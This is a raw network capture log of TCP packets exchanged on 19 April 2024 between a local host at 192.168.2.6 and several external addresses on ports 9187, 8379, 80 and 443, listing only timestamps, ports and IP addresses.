Apr 19, 2024 01:33:50.994621992 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.036657095 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195230007 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195295095 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195334911 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195374966 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195400953 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195415020 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195455074 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195467949 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195494890 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195533991 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195542097 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195580959 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195588112 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195605993 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195620060 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195636034 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195663929 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.195678949 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.195698023 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.239810944 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.396570921 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396603107 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396622896 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396641970 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396661997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396682978 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396702051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396707058 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.396720886 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396739960 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396763086 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.396770000 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396791935 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396809101 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396814108 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.396831036 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.396851063 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.442939043 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.598227024 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598294973 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598335981 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598376036 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598395109 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.598421097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598438025 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.598462105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598503113 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598526001 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.598546028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598587036 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598598957 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.598628998 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598673105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:51.598679066 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:51.646063089 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:52.715075016 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:52.835180044 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:53.031533003 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:53.031635046 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:53.150114059 CEST	8379	49738	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:53.150213957 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:53.156219006 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:53.302607059 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.471226931 CEST	8379	49738	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:53.471363068 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:53.586126089 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:33:53.623126030 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.624737978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.627623081 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.785777092 CEST	8379	49738	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:53.788255930 CEST	8379	49738	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:53.833570004 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:53.918418884 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:53.918504000 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:33:53.918736935 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:33:53.947824001 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949053049 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949071884 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949091911 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949110985 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949122906 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.949130058 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949146032 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.949147940 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949166059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:53.949191093 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:53.989790916 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.005486965 CEST	49738	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:54.048882008 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.048907042 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.048924923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.048965931 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.099168062 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.250319004 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:54.252454996 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:54.252480984 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:54.252505064 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:54.252521038 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:33:54.252526045 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:33:54.252580881 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:33:54.269481897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269506931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269517899 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269531012 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269543886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269556046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269566059 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.269568920 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269581079 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269592047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269594908 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.269604921 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269618034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269618988 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.269629002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.269660950 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.269687891 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.310255051 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.310276985 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.310333967 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.369635105 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.369663954 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.369678974 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.369689941 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.369743109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.420759916 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.420785904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.420867920 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590487957 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590509892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590523005 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590537071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590576887 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590607882 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590658903 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590673923 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590686083 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590699911 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590712070 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590715885 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590724945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590738058 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590745926 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590750933 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590765953 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590766907 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590778112 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590790987 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590802908 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.590809107 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590841055 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.590862036 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.650227070 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650244951 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650257111 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650269032 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650279999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650290012 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650299072 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.650326014 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.650366068 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.751463890 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751487017 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751497984 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751509905 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751524925 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751535892 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751555920 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751568079 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751579046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751583099 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.751590967 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751609087 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751615047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751621008 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.751643896 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.751673937 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.951688051 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951729059 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951741934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951754093 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951770067 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951783895 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951797962 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951807022 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.951809883 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951822996 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951833010 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.951834917 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951848030 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951848984 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.951859951 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951870918 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:54.951872110 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:54.951916933 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.009968042 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.010021925 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.010082960 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.010411978 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.010423899 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.152035952 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152050018 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152061939 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152074099 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152085066 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152096987 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152120113 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152132988 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152144909 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152148008 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.152158022 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152168989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152179956 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152192116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.152205944 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.152224064 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.192910910 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.351972103 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.351994038 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352000952 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352005959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352011919 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352018118 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352022886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352027893 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352034092 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352039099 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352044106 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.352061987 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.352108002 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.434655905 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.434746027 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.441972017 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.441996098 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.442380905 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.454375029 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.496140003 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.518012047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.518035889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.518047094 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.518112898 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.518224955 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.837982893 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838047028 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838090897 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838128090 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.838145018 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838180065 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.838207006 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.838244915 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838301897 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838306904 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.838319063 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838354111 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.838372946 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.838471889 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.839906931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839920998 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839931965 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839942932 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839953899 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839975119 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839982033 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839982033 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.839987040 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839992046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.839997053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.840002060 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.840008020 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.840013027 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:55.840116978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.840116978 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:55.843189001 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.843206882 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:55.843216896 CEST	49741	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:55.843221903 CEST	443	49741	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:56.040170908 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040191889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040205002 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040218115 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040232897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040245056 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040256023 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.040256977 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040268898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040283918 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040290117 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.040297031 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040307999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040309906 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.040322065 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040343046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.040344000 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.040376902 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.240931034 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.240952969 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.240964890 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.240978003 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.240997076 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241008043 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241019964 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241030931 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241031885 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.241043091 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241058111 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241067886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241079092 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241081953 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.241091013 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.241099119 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.241122961 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.286667109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.403850079 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.403889894 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.403970957 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.404630899 CEST	49742	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:56.404647112 CEST	443	49742	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:56.440960884 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.440975904 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.440989971 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441032887 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:56.441092014 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441104889 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441116095 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:56.441133976 CEST	9187	49739	8.212.54.142	192.168.2.6
